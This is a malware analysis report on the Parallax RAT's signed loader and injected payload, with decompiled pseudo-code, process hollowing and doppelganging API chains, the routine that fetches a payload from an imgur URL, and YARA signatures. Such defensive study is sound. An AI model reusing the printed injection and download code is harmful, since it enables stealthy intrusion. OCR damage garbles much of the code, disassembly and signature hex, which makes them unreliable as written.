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Goal: Reverse engineer and analyze the loader portion related to the Parallax remote
administration tool/Trojan (RAT) low-level injection and image decoder techniques. The
original sample discovery belongs to @malwrhunterteam.
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Parallax signed loader (SHA-256):
829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17¢c1772330577d65
Parallax injected payload (SHA-256):
20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc
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The Parallax remote administration tool/Trojan (RAT) emerged in 2019 on the underground

community written in MASM programming language. The RAT certainly became notorious for

its low static detection oftentimes observed with close to 0 detection as displayed on
VirusTotal. The malware also uses signed digital certificates as well as part of the payload
execution.

The Parallax developers market the malware as RAT as follows:

Parallax RAT had been developed by a professional team and its fully coded in MASM.
Its created to be best in remote administration.

Parallax RAT will provide you all you need.

Suitable for professionals and as well for beginners.

First and most important we offer 99% reliability when it comes to stability.
Parallax was designed to give the user a real multithreaded performance,

blazing fast speed and lightweight deployment to your computers with very little
resource

consumption.

We are a group of developers and we are here to offer quality service.
-Parallax Team, join now!

The RAT malware binary builds a table with function addresses leveraging API process
environmental block (PEB) CRC32 hashing algorithm with a parser for "%x.png" and
"cmd.exe."

The malware authors boast runtime anti-virus bypasses which are achieved in part of its
more signed loader coupled with Process Hollowing and Process Doppelganging injection
techniques. The goal of the injection is to impersonate legitimate system executables such
as mstcs.exe and cmd.exd and avoid being filtered and detected by the anti-virus engines.
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One of the interesting possible anti-analysis code is the dynamic stack code allocation and
parsing.

Moreover, two additional features stand out when dealing with this malware as its low-level
injection technique with the image additional decoded from the Imgur image as, for example,
"Big Brother Is Watching You".

BIG BROTHER

IS WATCHING

10l

The malware writes the layer named as "%x.png" to local % TEMP% directory. The name is
generated via few rand and srand API calls formatted to hexadecimal string.
Il. Parallax RAT: Loader Portion Flow
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A. Main Flow Overview

The crypted signed loader decodes the layer using XOR and key '0x3BC01699' as well as
the URL string to pass to the next layer. The layer is injected into the process setup within
the loader itself.

& | ODA0LEAT 35 push 2bp
® | 00401840 BEEC mov ebp,esp
& | O0I010H40 HE 4 FH aidd e5p , FFFFFFFS
& | OD401E52 33D EOr S ean
® | OD401BE 4 8945 FC nov dword ptr ssilebp- 4. eax
® | GBan1ng » 102 T e
& | ODAOLES S gacs F8 moy dword per soiBebp-cl, edx
® | 0040185 BE4D FB noy ecx, dword =np- 21
® | ODEOLRST Al 10 onp ecx, dword ;l ehpi o)
[ | Q0401862 = Tk 37 jue Dﬂ.l‘ﬂﬂll{_b n_b'lﬂ.mm
-------- ® | Q040L1EE4 BE4E OC noy =ax, dwerd
® | O03010RGY AESS FH Moy el Mrd
& | ODAOLEEA BEDC S0 Y -:-.x.d-m:-rd e e 4]
® | OD401BED BE45% FC mov eax , dword bp
® | OGS01RTH REOCHL DEALLOO0 =or ecx dword x4 BOE4EC]
& | OD40LETT 8B5S DB oy eds  dwerd
® | OD401BTA BE4: FB mov =ax , dword
® | ABAO1RTD AOEC &2 nov dward pre d 4], BCK
& | ODAOLBED B30 FC D3 onp dward pre s
j—— # | OD401EES + 75 OF ine purat‘ln,szJﬂw.-m!.m
i ® | ODAOLAES 33032 unr cds, edn
i & | ODAOLBEE BAR5S FC Py mrd L
i # | OD40LEEE - EB 093 Jmp parallax_bi
L OD301RED FFa4% FC inc dword poe s
QoE0LB3n FF45 F8 inc dword pre s
00401833 84D F8 mov ecx,dword ptr =
OD401LE9E FR40 14 omp ecx , dword por
0p401833| -~ FC C9 1 parallax_bin_ bl

o | OGaOLASE Ly Bop ek
& | 0040190 ] P ebp
. « H

BLN=TEAL

Ltext: 00401E38 parallax_bin_blog. exe: SLE9E #119E
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The main loop is as follows as pseudo-coded C++:

M o
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hModule = GetModuleHandleA(ModuleName);
v_alloc_ret = GetProcAddress(hModule,
v25 = ((int (__cdecl *)(int,
(v48, 41648, 4096, v28);
decoder(v25, (int)&payload_blob, v44);
v29[v50 / 4] = v25;
v29[v49 / 4] v33;
v29[v47 / 4] v35;
v29[v46 / 4] = v32;
v24 = v36 + v25;
v23 =
decoder((int)v3, (int)&url_blob, v42);
mstc = aMstsc_exe; // "mstsc.exe"
vl = v3;
result = v23(&vl);
if ( 'vol )

result = 1;
return result;

The decoder function is as follows:

int
{
int result;
int 1i;
int iter_cmp;

__cdecl decoder(int alloc_address,

result = 0;
iter_cmp = 0;
for (1= 0;
{

i < enc_lentgh; ++1i )
result = 1i;
*(_DWORD *)(alloc_address + 4 * i) =
i);
//key 'Ox3BC0O1699'
if ( iter_cmp )
++iter_cmp;
else
iter_cmp =
}

return result;

B. Dynamlc Code Stack Execution

int enc_blob,

key[iter_cmp]

L] 2058 BIED DBFCFFI IJ'.: eCx, Bward ptr tjebp-36E]
L[] 14 . 51 sl &

L] : ) ES AAFAFFFF| Eall '1.1r1|1.1x_h1n_b1nq A01E4C
L 83C4 OC add esp,C

L] CTES 94FCFFl mow dword ptr :febp-36C), parallax_bin
[ mss 98FCFFI 1ea eax,dword ptr == Jebp-365]
L] 985 FCFCFFY mow dword por {febp- iG], cax
= &.—9:— TCFCFFE 1i=d.leJ-» dword ptr ==;J=bp-384)
] push ed

= FFBS CEFEFFE call dword ptr o-: [ebp-132]

® | 004 pOp oCE

& | 04 Co EE B3TD EE { cmp ward ptr s=:[@ebp-120.

& | 004 [ T4 0 £ par .\11“ brim htng A0

#® | D040 000 = ret

&ProcName);// VirtualAlloc
signed int,

signed int, int))v_alloc_ret)

// payload_bin

(int (__cdecl *)(int **))(v36 + v25);

// "https://i.imgur.com/emshETT.png"

int enc_lentgh)

A *(_DWORD *)(enc_blob + 4 *

e ATHETES: S/, Imgur . confemshETT, prg
|call =tack execution control [=bp-138]
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The malware complicates some analysis due to its stack dynamic call execution. Parallax
also loads another ntdll DLL library into memory leveraging API calls and retrieve path via
GetSystemDirectoryW.

C. Process Hollowing & Process Doppelganging Mix with PEB Traversal

Parallax relies on native level (Nt/Zw) process hollowing injection technique.

Launch process
"mstcs” exe via
CreateProcessW AP

ZwhllocateVirtualMemaory

{ ZwReadVirtualMemory

¥

[ ZwWriteVirtualMemory ]‘—
\—[ RtiDecompressBufier }

h 4

i
[ ZwPratectVirtualMemaory ] | ZwResumeThread J

LS

Launch process exe via CreateProcessW -> ZwAllocateVirtualMemory ->
ZwGetContextThread -> ZwReadVirtualMemory -> GlobalAlloc -> RtIDecompressBuffer ->
ZwAllocateVirtualMemory -> ZwWriteVirtualMemory -> Resolve API Table ->
ZwAllocateVirtualMemory -> ZwAllocateVirtualMemory -> ZwProtectVirtualMemory ->
ZwProtectVirtualMemory -> ZwProtectVirtualMemory -> ZwResumeThread -> ... ->
ZwReadVirtualMemory
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The malware also contains the usual Process Doppelganging API calls such as follows as
resolved via PEB traversal (to be explored further):

ZwCreateTransaction
RtlISetCurrentTransaction
ZwCreateSection
ZwMapViewOfSection
ZwRollbackTransaction

lll. Parallax RAT: Payload Portion Flow

A. Main Flow

The malware payload runs ZwDelayExecution APl and resolves API via PEB traversal
technique relying on global memory allocations and preferring Zw*-prefix API calls.

It has its unique unique file generation algorithm leveraging srand and rand API calls and
obfuscating the file as ".png" in % TEMP% directory.
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vi24 = 0;
do
{
while ( 1)
{
++v124;
vl4 = OXCBCBCBCB;
resolver = OXCBCBCBCB;
zw_arg_func(vCBCBCBEF, 5000);
++*(_DWORD *)(resolver + 72);
load_1lib = 0;
*(_DWORD *)(resolver + 60) = api_hash_crc32(*(_DWORD *)(resolver + 56),
3380355071);// GetProcAddress
*(_DWORD *)(resolver + 28)
3407153372);// LoadLibraryw

api_hash_crc32(*(_DWORD *)(resolver + 56),

v50 = 'n';
vl = 't';
vb2 = 'd';
vb3 = '1';
v54 = '1"',;
v55 = 0;

load_lib = (*(int (__stdcall **)(__int16 *))(resolver + 28))(&v50),;//
LoadLibraryw

*(_DWORD *)(resolver + 32) = api_hash_crc32(*(_DWORD *)(resolver + 56),
2143056945);// GlobalAlloc

*(_DWORD *)(resolver + 48)
128164624);// GetTempPathWw

*(_DWORD *)(resolver + 12) = api_hash_crc32(load_lib, 4099714205),;//
RtlCreateUnicodeStringFromAsciiz

*(_DWORD *)(resolver + 36) = api_hash_crc32(load_lib, 3603135000);//
ZwDelayExecution

*(_DWORD *)(resolver + 40) = api_hash_crc32(*(_DWORD *)(resolver + 56),
3300174157);// GetFileAttributesw

*(_DWORD *)(resolver + 44) = api_hash_crc32(*(_DWORD *)(resolver + 56),
1552247879);// CreateProcessW

global free_ret = api_hash_crc32(*(_DWORD *)(resolver + 56), 1667964573);//
GlobalFree

api_hash_crc32(*(_DWORD *)(resolver + 56), 3081981091);// GlobalReAlloc

zwterm_process = (void (__stdcall *)(signed int,
_DWORD) )api_hash_crc32(load_lib, 3798818906);// ZwTerminateProcess

if ( (signed int)vi24 > 3 )

zwterm_process(-1, 0);

api_hash_crc32(*(_DWORD *)(resolver + 56),

vb6 = 'o';
vb7 = '1';
vb8 = 'e';
vb9 = '3';
veo = '2';
v6el = 0,

*(_DWORD *)(resolver + 20) = api_hash_crc32(load_lib, 233258989);// swprintf
0le32_ret = (*(int (__stdcall **)(__int16 *))(resolver + 28))(&v56);

8/17



createfilew_ret = (int (__stdcall *)(int, signed int, signed int, _DWORD, signed
int, signed int, _DWORD))(*(int (__stdcall **)(_DWORD, char *))(resolver + 60))(*
(_DWORD *)(resolver + 56), &v109);
*(_DWORD *)(resolver + 52) = api_hash_crc32(*(_DWORD *)(resolver + 56),
3437843986);// WriteFile
CloseHandle_ret = (void (__stdcall *)(int))api_hash_crc32(*(_DWORD *)(resolver
+ 56), 2962429428);// CloseHandle
gettickcount_ret = api_hash_crc32(*(_DWORD *)(resolver + 56), 1531058680);//
GetTickCount
VirtualAlloc_ret = (int (__stdcall *)(_DWORD, signed int, signed int, signed
int))api_hash_crc32(// VirtualAlloc

*(_DWORD *)(resolver + 56),

164498762);
rand_msvscrt_Resolve(1l, 7, resolver);
rand_resolv = rand_msvscrt_Resolve(1, -1, resolver);
srand_msvcrt_resolve(rand_resolv, resolver);
shell 32D11 = sub_402090(0xC8A1BADS);
if ( !'shell_32D11 )

{
v35 = 's';
v36 = 'h';
v37 = 'e';
v38 = '1';
v39 = '1';
v40 = '3';
v4l = '2';
v42 = 0;
shell_32D11 = (*(int (__stdcall **)(__int16 *))(resolver + 28))(&v35);

}

SHGetFolderPathW_ret = (void (__stdcall *)(_DWORD, signed int, _DWORD, _DWORD,
int))api_hash_crc32(// SHGetFolderPathw

shell_32D11,

3345296191);
get_temp_path = (*(int (__stdcall **)(signed int, signed int))(resolver + 32))

(64, 520);

(*(void (__stdcall **)(signed int, int))(resolver + 48))(260, get_temp_path);//
GetTempPathw

v43 = '%',

v44 = 'x';

v4as = ',

vde = 'p';

v4a7 = 'n';

v4g = 'g';

v49 = 0;

globalAlloc = (*(int (__stdcall **)(signed int, signed int))(resolver + 32))
(64, 100);

rand_msvscrt_Resolve(10000, 100000000, resolver);

(*(void (__cdecl **)(int, __inti16 *, _DWORD))(resolver + 20))(globalAlloc,
&v43, *(_DWORD *)(resolver + 72));// swprintf formatter

path_parser(get_temp_path, globalAlloc);

(*(void (__stdcall **)(char *, _DWORD))(resolver + 12))(&v4, *(_DWORD
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*)resolver);// RtlCreateUnicodeStringFromAsciiz formatter
path_ret = path_check(get_temp_path);
if ( createinstance_path_create(

v5,
get_temp_path,
path_ret,

(int)&cocreateInstance_ret,
*(_DWORD *)(resolver + 36)) )
{

break;
}
file_open = 0;
temp_path_file_write = createfilew_ret(get_temp_path, 4, 3, 0, 2, 128, 0);
if ( temp_path_file write != OXFFFFFFFF )
{
file_open = wininet_dl1l_func(*(_DWORD *)resolver, temp_path_file_write,
resolver);
CloseHandle_ret(temp_path_file_write);
break;
}
}
v72 = (*(int (__stdcall **)(int))(resolver + 40))(get_temp_path);
}
while ( v72 == OXFFFFFFFF || v72 & 0x10 );
v8 = 0x7610;
v71l = 31012,
v_alloc_ret = (_BYTE *)VirtualAlloc_ret(0, 31012, 4096, 64);
func(v_alloc_ret, *(_BYTE **)(resolver + 4), v71);
v26 = &v_alloc_ret[v8];
v24 (void (__cdecl *)(int, int *))&v_alloc_ret[v8];
v25 = parser_lopp(get_temp_path);
v69 = (*(int (__stdcall **)(signed int, int))(resolver + 32))(64, v25 + 2);
for (1 =0; *(_WORD *)(get_temp_path + 2 * i); ++i )
*(_BYTE *)(i + v69) = *(_BYTE *)(get_temp_path + 2 * 1i);
v77 = 0;
v24(v69, &v77);
if ( v77 )
{
V68 = V77,
v126 = v77,
*(_DWORD *)(v77 + 24) = v77 + 72;

v66 = parser_lopp2(*(_DWORD *)(v126 + 24));

v67 = (int *)(*(_DWORD *)(v126 + 24) + v66 + 1);

v64 = *V67;

v21 = v67 + 1;

v65 = (int *)(v66 + *(_DWORD *)(v126 + 24) + v64 + 5);
V76 = *V65;

v1l21l = v65 + 1,

v23 = (int *)((char *)ve65 + v76 + 4);
v1l9 = *(int *)((char *)v65 + v76 + 4);
v1l7 = (void (__cdecl *)(_DWORD))(v65 + 14912);

v22 = (int *)((char *)v65 + v76 + 8);
*(_DWORD *)v126 = v22;

*(_DWORD *)(v126 + 8) = v21;

*(_DWORD *)(v126 + 12) = v64;
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v27 = 'c';

v28 = 'm';
v29 = 'd';
v3o = '.';
v3l = 'e';
v32 = 'x';
v33 = 'e';
v34 = 0;

*(_DWORD *)(v126 + 28) = &v27;

*(_DWORD *)(v126 + 16) = 19340;

v63 = (*(int (__stdcall **)(signed int, signed int))(resolver + 32))(64, 520);

SHGetFolderPathw_ret(0, 7, 0, 0, v63);

*(_DWORD *)(v126 + 32) = v63;

*(_BYTE *)(v126 + 64) = 0;

*(_BYTE *)(v126 + 65) = 1;

*(_DWORD *)(v126 + 36) = vi121;

*(_DWORD *)(v126 + 40) = 3996;

*(_DWORD *)(v126 + 4) = v19;

VirtualProtect_ret = (void (__stdcall *)(int *, int, signed int, char
*))api_hash_crc32(

(_DWORD *)(resolver + 56),

268857135);// VirtualProtect
VirtualProtect_ret(v121, v76, 64, &vl);
vle = vi17;
v17(v126);

}
return ((int (__stdcall *)(unsigned int, _DWORD))zwterm_process)(OXFFFFFFFF, 0Q);

B. Image Decoder Technique
The payload calls wininet.DLL library utilizing InternetOpenA, InternetOpenUrlA,
InternetReadFile InternetReadFile API calls:

11/17



int __cdecl wininet_dll_func(int al, int a2, int resolver)

{

LoadLibraryW_ret = 0;

vd = 'w';
vb = 'i';
vé = 'n';
vy = 'i';
v8 = 'n';
vo = 'e';
vie = 't';
vlil = 0,

LoadLibraryw_ret = (*(int (__stdcall **)(_int16 *))(resolver + 28))(&v4);
InternetGetConnectedState_ret = (int (__stdcall *)(_DWORD,
_DWORD) )api_hash_crc32(LoadLibraryW_ret, 4075158540);// InternetGetConnectedState
InternetOpenA_ret = (int (__stdcall *)(_DWORD, signed int, _DWORD, signed int,
_DWORD) )api_hash_crc32(

LoadLibraryW_ret,

3658917949);// InternetOpenA
InternetOpenUrlA_ret = (int (__stdcall *)(int, int, _DWORD, _DWORD, signed int,
DWORD) )api_hash_crc32(

LoadLibraryw_ret,

23397856);// InternetOpenuUrlA
InternetReadFile_ret = (void (__stdcall *)(int, _BYTE *, signed int, int
*))api_hash_crc32(

LoadLibraryWw_ret,

1824561397);// InternetReadFile
InternetCloseHandle_ret = (void (__stdcall *)(int))api_hash_crc32(LoadLibraryWw_ret,
3843628324);// InternetCloseHandle
Sleep_ret = (void (__stdcall *)(signed int))api_hash_crc32(*(_DWORD *)(resolver +
56), 3472027048);// Sleep
while ( !InternetGetConnectedState_ret(0, 0) )
Sleep_ret(5000);
iopen_url_ret = InternetOpenA_ret(0, 1, 0, 0x4000100, 0);
if ( 'iopen_url_ret )
iopen_url_ret = 0;
vli9 = 0;
internetopen_url_ret = InternetOpenUrlA_ret(iopen_url_ret, al, 0, 0, 2048, 0);
GlobalAlloc_ret = (_BYTE *)(*(int (__stdcall **)(signed int, signed int))(resolver
+ 32))(64, 2000);// GlobalAlloc
if ( internetopen_url_ret )
{
do
{
parse_x(GlobalAlloc_ret, 2000);
InternetReadFile_ret(internetopen_url_ret, GlobalAlloc_ret, 1024, &v23);
v1l9 += v23;
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}

if ( v23 )

(*(void (__stdcall **)(int, _BYTE *, int, char *, _DWORD))(resolver + 52))
(a2, GlobalAlloc_ret, v23, &v12, 0);// WriteFile

while ( v23 );
InternetCloseHandle_ret(internetopen_url_ret);

}

else

{

InternetCloseHandle_ret(0);

}

return v19;

IV. Yara Signature
A. Parallax Loader

rule crime_win32_parallax_loader_1 {
meta:

51
00
?7?
?7?
?7?
8b
??
?7?

?7?
89
7c

ff
68
?7?
?7?
?7?
?7?
??
68

7d
?7?
?7?

$main_call =

$decoder_call =

description = "Detects Parallax Loader"

author = "@VK_Intel"

reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
date = "2020-02-24"

hashl = "829fcel14ac8b9ad293076c16a1750502c6b303123¢c9bd0fb17¢c1772330577d65"
strings:

?? ?? ?? 7?7 2?7 e8 7?7 ?? ?? 2?7 89 ?? 7?7 ?? 7?7 2?27 ff ?7 ?? °7 7?7 ?? 68
bo a2 00 00 ff ?2? ?2? 2?2 2?2 2?2 ff ?2? 22 2?2 ?2? 22 89 ?? 72?72 ?2? 72?2 2?27 ff
68 8c el 4f 00 ff ?? 2?7 2?2 ?? ?? e8 ?? ?? ?? ?? 83 c4 Oc 8b ?? 72?7 ??
?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? 7?7 ?? 2?7
?? ?? 89 ?? ?? 8b ?? ?? ?? 2?7 ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? 7?7 ?? 2?7
?? ?? ?? ?? 8b ?? 2?7 ?? ?? ?? 8b ?? 7?7 ?? ?? ?? 89 ?? ?? 8b ?? ?? ??
?? ?? ?? 89 ?? ?? 2?7 ?? ?? 8b ?? ?? 7?7 ?? ?? 89 ?? 7?7 ?? 7?7 7?7 ff 2?7
40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 Oc}

00
?7?
?7?
?7?
89
?7?
??

10
?7?
?7?
8b
?7?
??
??

{ 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?7? 8d ?? ?? ?? ?? ?°?

00
27
8b
22
22
03
27

{ 55 8b ec 83 c4 f8 33 cO 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ??

?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ??
?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff 2?2 ?2? ff 2?2 ?? 8b ?? ?? 3b ?? ??

59 59 5d c3}

condition:

uint16(0) == Ox5a4d and filesize < 2000KB and
2 of them

. Parallax Payload
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rule crime_win32_parallax_payload_1 {

?7?
?7?

00
00
??
?7?
65
e8
c4
?7?
00

?7?
6e
?7?
68

meta:

description = "Detects Parallax Injected Payload v1.01"
author = "@VK_Intel"

reference = "https://twitter.com/VK_Intel/status/1227976106227224578"

date = "2020-02-24"
hashl = "20d0be64a0e0c2e96729143d41b334603Ff5d3af3838a458b0627af390ae33fbc"

strings:

$zwdelay prologue = { 66 ?? ?? ?? 66 83 cl 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ??

22 22 ?? 58 8b
22 22}

$wininet_call =
00 66 ?? ?? ?7?

66 ?? ?? ?? b8

?? ff di1 89 77

6a 00 68 3d a8

01 8b ?? ?? 51

?? ?? ?? ?7? 83

Oc 89 ?? ?7? 6a

?? 6a 00 6a 00

04 6a }

$rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ??

?? ?? ba 2e 00
00 00 00 66 ??
?? ?? ?? 6a 64
10 27 00 00 e8

condition:
uint16(0) ==
2 of them

V. Addendum
A. Loader API List Table Resolved

?7?

{
bs

74
?7?
16
es8
c4
00
ff

?? ?? ?? ?? 89 ?? 7?7 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 7?7

b8
69
00
6a
da
??
Oc

68
?7?

77
00
00
00
8b
?7?
89

a8
?7?

00
00
00
68
?7?
?7?
?7?
ed
85

00
00
66
0c
?7?
?7?
?7?
f2
co

00
66
?7?
fc
50
83
6a
ce
75

66
?7?
??
e5
es8
c4
00

8b
22

?7?
?7?
??
f2
?7?
Oc
68
?7?
68

?7?
?7?
33
8b
?7?
89
24
?7?
88

??
b9
c9
??
??
?7?
1d
8b
13

b9
6e
66
??
??
?7?
19
??
00

69
00
?7?
52
83
6a
e5
?7?
00

00
00
?7?
es8
c4
00
8b
52
ff

00
00
?7?
??
Oc
68
??

e8
?7?

00
66
8d
??
89
5
?7?
?7?
?7?

66
27
22

22
98
50

eb

?7?
?7?
?7?
?7?
?7?
co
es8
??
?7?

?7?
52
83
6a

6¢C
?7?

6a

??
ba
8b
c4
00
8b
??
83
00

ba
65
?7?
Oc
68
?7?
?7?
c4
68

6e
00
??
89
eo
?7?
?7?
Oc
00

00
00
8b
??
05
52
83
89
01

00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9
?? ?2? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 cO 66 ?? ??
6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 el f5 05

?? ?2? ?? 2?7}

0x5a4d and filesize < 100KB and
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GetSystemDirectoryw
GlobalAlloc
ZwAllocateVirtualMemory
IsWow64Process

DbgPrint
ZwReadVirtualMemory
ZwProtectVirtualMemory
RtlGetNativeSystemInformation
Rt1lwWow64EnableFsRedirectionEx
GetSystemDirectoryWw
lstrcmpiw
ZwWriteVirtualMemory
ZwQueryInformationProcess
LoadLibraryw
ZwCreateFile
ZwCreateTransaction
ZwWriteFile
RtlSetCurrentTransaction
ZwCreateSection
ZwMapViewOfSection
ZwRollbackTransaction
ZwGetContextThread
ZwResumeThread

ZwClose
ZwUnmapViewOfSection
ZwTerminateProcess
ZwDelayExecution
NtQueryInformationFile
Rt1lDosPathNameToNtPathName_U
NtQuerySystemInformation
swprintf
ZwSetContextThread
CreateProcessW
LdrGetProcedureAddress
RtlCreateUnicodeStringFromAsciiz
ZwReadFile

CopyFilew

lstrlenw
GetWindowsDirectoryWw
GetFileAttributesw
CreateRemoteThread
FindFirstFileW
FindNextFilew
CreateFilew
WaitForSingleObject
ZwFlushInstructionCache
Rt1DecompressBuffer
ReadFile

WriteFile

GetFileSize

B. Payload API List Table Resolved
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GetProcAddress
LoadLibraryw
GlobalAlloc
GetTempPathw
RtlCreateUnicodeStringFromAsciiz
ZwDelayExecution
GetFileAttributesWw
CreateProcessW
GlobalFree
GlobalReAlloc
ZwTerminateProcess
swprintf

WriteFile
CloseHandle
GetTickCount
VirtualAlloc
SHGetFolderPathw
swprintf
RtlCreateUnicodeStringFromAsciiz
VirtualProtect
CoInitialize
CoCreateInstance
CreateFilew

rand

srand
InternetGetConnectedState
InternetOpenA
InternetOpenUrlA
InternetReadFile
InternetCloseHandle
Sleep

C. Malware Change Log
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- Password recovery bug fixed if multiple users were selected.

- Fixed memory leak on Server.exe Remote desktop.

- Fixed labels background color on Builder -> Connections.

- Fixed UPX bug where it does not compress on some OS.

- AutoTasks now auto Save/Load settings.

- HWID keeps changing on special 0S's bug fixed.

- It is now possible to use 0.1 intervals for the Remote View. Though not
recommended.

- Statusbar now shows which ports are in listening status. The maximum display is 10
ports.

- Password recovery now shows the total passwords of all clients.

- Builder -> Installation file name now no needs ".exe" file extension.

- Mutex name now randomized if no profile is found.

[+] Added Exception handler window. Not all functions have an Exception handler vyet.

1.0.2

- Password recovery bug fixed if multiple users were selected*.

- Fixed Mozilla Thunderbird bug where it gets stuck if recovered more than once.
(Server has to be updated)

- The serial has changed. The case where it changes if VPN is on is not a bug but it
should not change anymore.

*The password recovery concurrency is hardcoded to 5 clients. This value cannot be
changed at the moment.

The rest clients will be queued to be completed at another time once the current
concurrency value drops below the maximum.

Please note that this software at its early stages. So don't freak out if you find
something that doesn't work as expected.

Most bugs happen because the coder did not test the same settings/environment as you
did. You should report any bugs/issues to be fixed.

You need to be more specific about what you exactly faced. Things like "it crashes"”
does not help track down the issue.

1.0.1

Password recovery update to support Mozilla Thunderbird.
Fixed few bugs on the server receives.

Bug fixed if the Password profile folder does not exist.

1.0.0
Initial release.
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